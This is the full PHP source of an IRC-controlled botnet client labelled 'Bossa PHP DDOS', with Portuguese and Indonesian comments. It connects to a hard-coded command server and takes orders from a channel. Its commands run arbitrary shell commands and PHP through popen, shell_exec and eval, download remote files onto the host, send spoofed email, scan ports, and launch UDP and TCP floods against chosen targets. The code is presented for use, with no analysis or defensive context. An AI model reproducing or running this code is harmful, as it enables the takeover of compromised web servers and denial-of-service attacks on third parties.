Bossa PHP DDOS

<?

set_time_limit(0);
error_reporting(0);

class pBot
{
    var $config = array("server" => "irc.dreamboxdb.com", "port" => 53, "pass" => "gimp", //password nya mas
        "prefix" => "SHIT|", "maxrand" => 8, "chan" => "#slap", "key" => "fuck", //senha do canal
        "modes" => "-x", "password" => "gimp", //senha do bot
        "trigger" => ".", "hostauth" => "*" // * for any hostname
        );
    var $users = array();
    function start()
    {
        if (!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
            $this->start();
        $ident = "dupek";
        $alph  = range("a", "z");
        for ($i = 0; $i < $this->config['maxrand']; $i++)
            $ident .= $alph[rand(0, 25)];
        if (strlen($this->config['pass']) > 0)
            $this->send("PASS " . $this->config['pass']);
        $this->send("USER $ident 127.0.0.1 localhost :$ident");
        $this->set_nick();
        $this->main();
    }
    function main()
    {
        while (!feof($this->conn)) {
            $this->buf = trim(fgets($this->conn, 512));
            $cmd       = explode(" ", $this->buf);
            if (substr($this->buf, 0, 6) == "PING :") {
                $this->send("PONG :" . substr($this->buf, 6));
            }
            if (isset($cmd[1]) && $cmd[1] == "001") {
                $this->send("MODE " . $this->nick . " " . $this->config['modes']);
                $this->join($this->config['chan'], $this->config['key']);
            }
            if (isset($cmd[1]) && $cmd[1] == "433") {
                $this->set_nick();
            }
            if ($this->buf != $old_buf) {
                $mcmd   = array();
                $msg    = substr(strstr($this->buf, " :"), 2);
                $msgcmd = explode(" ", $msg);
                $nick   = explode("!", $cmd[0]);
                $vhost  = explode("@", $nick[1]);
                $vhost  = $vhost[1];
                $nick   = substr($nick[0], 1);
                $host   = $cmd[0];
                if ($msgcmd[0] == $this->nick) {
                    for ($i = 0; $i < count($msgcmd); $i++)
                        $mcmd[$i] = $msgcmd[$i + 1];
                } else {
                    for ($i = 0; $i < count($msgcmd); $i++)
                        $mcmd[$i] = $msgcmd[$i];
                }
                if (count($cmd) > 2) {
                    switch ($cmd[1]) {
                        case "QUIT":
                            if ($this->is_logged_in($host)) {
                                $this->log_out($host);
                            }
                            break;
                        case "PART":
                            if ($this->is_logged_in($host)) {
                                $this->log_out($host);
                            }
                            break;
                        case "PRIVMSG":
                            if (!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) {
                                if (substr($mcmd[0], 0, 1) == ".") {
                                    switch (substr($mcmd[0], 1)) {
                                        case "user":
                                            if ($mcmd[1] == $this->config['password']) {
                                                $this->privmsg($this->config['chan'], "[\2Auth\2]: $nick logado!");
                                                $this->log_in($host);
                                            } else {
                                                $this->privmsg($this->config['chan'], "[\2Auth\2]: Senha errada! $nick");
                                            }
                                            break;
                                    }
                                }
                            } elseif ($this->is_logged_in($host)) {
                                if (substr($mcmd[0], 0, 1) == ".") {
                                    switch (substr($mcmd[0], 1)) {
                                        case "restart":
                                            $this->send("QUIT :restart");
                                            fclose($this->conn);
                                            $this->start();
                                            break;
                                        case "mail": //mail to from subject message
                                            if (count($mcmd) > 4) {
                                                $header = "From: <" . $mcmd[2] . ">";
                                                if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) {
                                                    $this->privmsg($this->config['chan'], "[\2mail\2]: Isur00tossivel mandar

e-mail.");
                                                } else {
                                                    $this->privmsg($this->config['chan'], "[\2mail\2]: Mensagem enviada para

\2" . $mcmd[1] . "\2");
                                                }
                                            }
                                            break;
                                        case "dns":
                                            if (isset($mcmd[1])) {
                                                $ip = explode(".", $mcmd[1]);
                                                if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) {
                                                    $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " =>

" . gethostbyaddr($mcmd[1]));
                                                } else {
                                                    $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " =>

" . gethostbyname($mcmd[1]));
                                                }
                                            }
                                            break;
                                        case "info":
                                            $this->privmsg($this->config['chan'], "[\2Vuln!\2]:

http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "]");

                                            break;
                                        case "bot":
                                            $this->privmsg($this->config['chan'], "[\2Bot by matapato v1.2\2]");
                                            break;
                                        case "cmd":
                                            if (isset($mcmd[1])) {
                                                $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
                                                $this->privmsg($this->config['chan'], "[\2cmd\2]: $command");
                                                $pipe = popen($command, "r");
                                                while (!feof($pipe)) {
                                                    $pbuf = trim(fgets($pipe, 512));
                                                    if ($pbuf != NULL)
                                                        $this->privmsg($this->config['chan'], " : $pbuf");
                                                }
                                                pclose($pipe);
                                            }
                                            break;
                                        case "rndnick":
                                            $this->set_nick();
                                            break;
                                        case "sur00t":
                                            $this->send(strstr($msg, $mcmd[1]));
                                            break;
                                        case "php":
                                            $eval = eval(substr(strstr($msg, $mcmd[1]), strlen($mcmd[1])));
                                            break;
                                        case "exec":
                                            $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
                                            $exec    = shell_exec($command);
                                            $ret     = explode("\n", $exec);
                                            $this->privmsg($this->config['chan'], "[\2exec\2]: $command");
                                            for ($i = 0; $i < count($ret); $i++)
                                                if ($ret[$i] != NULL)
                                                    $this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
                                            break;
                                        case "pscan": // .pscan 127.0.0.1 6667
                                            if (count($mcmd) > 2) {
                                                if (fsockopen($mcmd[1], $mcmd[2], $e, $s, 15))
                                                    $this->privmsg($this->config['chan'], "[\2pscan\2]: " . $mcmd[1] . ":" . $mcmd[2] . " is

\2open\2");
                                                else
                                                    $this->privmsg($this->config['chan'], "[\2pscan\2]: " . $mcmd[1] . ":" . $mcmd[2] . " is

\2closed\2");
                                            }
                                            break;
                                        case "ud.server": // .ud.server <server> <port> [password]
                                            if (count($mcmd) > 2) {
                                                $this->config['server'] = $mcmd[1];
                                                $this->config['port']   = $mcmd[2];
                                                if (isset($mcmcd[3])) {
                                                    $this->config['pass'] = $mcmd[3];
                                                    $this->privmsg($this->config['chan'], "[\2update\2]: Server trocado para

" . $mcmd[1] . ":" . $mcmd[2] . " Senha: " . $mcmd[3]);
                                                } else {
                                                    $this->privmsg($this->config['chan'], "[\2update\2]: Server trocado para

" . $mcmd[1] . ":" . $mcmd[2]);
                                                }
                                            }
                                            break;
                                        case "download":
                                            if (count($mcmd) > 2) {
                                                if (!$fp = fopen($mcmd[2], "w")) {
                                                    $this->privmsg($this->config['chan'], "[\2download\2]: Nao foi possivel fazer o

download. Permissao negada.");
                                                } else {
                                                    if (!$get = file($mcmd[1])) {
                                                        $this->privmsg($this->config['chan'], "[\2download\2]: Nao foi possivel fazer o

download de \2" . $mcmd[1] . "\2");
                                                    } else {
                                                        for ($i = 0; $i <= count($get); $i++) {
                                                            fwrite($fp, $get[$i]);
                                                        }
                                                        $this->privmsg($this->config['chan'], "[\2download\2]: Arquivo \2" . $mcmd[1] . "\2

baixado para \2" . $mcmd[2] . "\2");
                                                    }
                                                    fclose($fp);
                                                }
                                            }
                                            break;
                                        case "die":
                                            $this->send("QUIT :MORRI! comando por $nick");
                                            fclose($this->conn);
                                            exit;
                                        case "logout":
                                            $this->log_out($host);
                                            $this->privmsg($this->config['chan'], "[\2auth\2]: $nick deslogado!");
                                            break;
                                        case "udpflood":
                                            if (count($mcmd) > 3) {
                                                $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3]);
                                            }
                                            break;
                                        case "tcpflood":
                                            if (count($mcmd) > 5) {
                                                $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]);
                                            }
                                            break;
                                    }
                                }
                            }
                            break;
                    }
                }
            }
            $old_buf = $this->buf;
        }
        $this->start();
    }
    function send($msg)
    {
        fwrite($this->conn, "$msg\r\n");

    }
    function join($chan, $key = NULL)
    {
        $this->send("JOIN $chan $key");
    }
    function privmsg($to, $msg)
    {
        $this->send("PRIVMSG $to :$msg");
    }
    function is_logged_in($host)
    {
        if (isset($this->users[$host]))
            return 1;
        else
            return 0;
    }
    function log_in($host)
    {
        $this->users[$host] = true;
    }
    function log_out($host)
    {
        unset($this->users[$host]);
    }
    function set_nick()
    {
        if (isset($_SERVER['SERVER_SOFTWARE'])) {
            if (strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache"))
                $this->nick = "";
        }
        $this->nick .= $this->config['prefix'];
        for ($i = 0; $i < $this->config['maxrand']; $i++)
            $this->nick .= mt_rand(0, 9);
        $this->send("NICK " . $this->nick);
    }
    function udpflood($host, $packetsize, $time)
    {
        $this->privmsg($this->config['chan'], "[\2UdpFlood Started!\2]");
        $packet = "";
        for ($i = 0; $i < $packetsize; $i++) {
            $packet .= chr(mt_rand(1, 256));
        }
        $timei = time();
        $i     = 0;
        while (time() - $timei < $time) {
            $fp = fsockopen("udp://" . $host, mt_rand(0, 6000), $e, $s, 5);
            fwrite($fp, $packet);
            fclose($fp);
            $i++;
        }
        $env = $i * $packetsize;
        $env = $env / 1048576;
        $vel = $env / $time;
        $vel = round($vel);
        $env = round($env);
        $this->privmsg($this->config['chan'], "[\2UdpFlood Finished!\2]: $env MB

enviados / Media: $vel MB/s ");
    }
    function tcpflood($host, $packets, $packetsize, $port, $delay)
    {
        $this->privmsg($this->config['chan'], "[\2TcpFlood Started!\2]");
        $packet = "";
        for ($i = 0; $i < $packetsize; $i++)
            $packet .= chr(mt_rand(1, 256));
        for ($i = 0; $i < $packets; $i++) {
            if (!$fp = fsockopen("tcp://" . $host, $port, $e, $s, 5)) {
                $this->privmsg($this->config['chan'], "[\2TcpFlood\2]: Error: <$e>");
                return 0;
            } else {
                fwrite($fp, $packet);
                fclose($fp);
            }
            sleep($delay);
        }
        $this->privmsg($this->config['chan'], "[\2TcpFlood Finished!\2]: Config -

$packets pacotes para $host:$port.");
    }
}

$bot = new pBot;
$bot->start();

?>